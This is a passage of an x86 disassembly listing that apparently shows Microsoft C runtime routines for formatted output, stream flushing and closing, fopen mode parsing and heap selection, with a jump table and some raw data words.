byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_4395A0 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_4395A0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_48B440 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax nop call near ptr 2621906h test eax, eax jnz short loc_41A730 nop call near ptr 264030Ch mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_48A018, 0 mov dword_48A014, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_48B320, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_48B320 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_43BCD8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_43BCF8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_48A1D8 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_48A06C[eax*4], 0 push ebx push edi lea edi, ds:48A06Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_48A1E0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_48A1D8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_48B320 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_48A310 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_48A310 mov [edi+ecx], eax mov eax, dword_48A310 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_48A078 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2710A87h cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 2781533h nop test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2830000h test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2650000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024253h dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh, 48B688A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 48B684h, 6065E890h, 0C0330241h dd 58016AC3h, 14068C3h, 6A0000h, 0B68435FFh, 0E8900048h dd 22E52ACh, 7CA3C085h, 750048B6h, 4C8BC301h, 25830424h dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh dd 6805C700h, 100048B6h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_48B678 lea ecx, [eax+eax*4] mov eax, dword_48B67C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 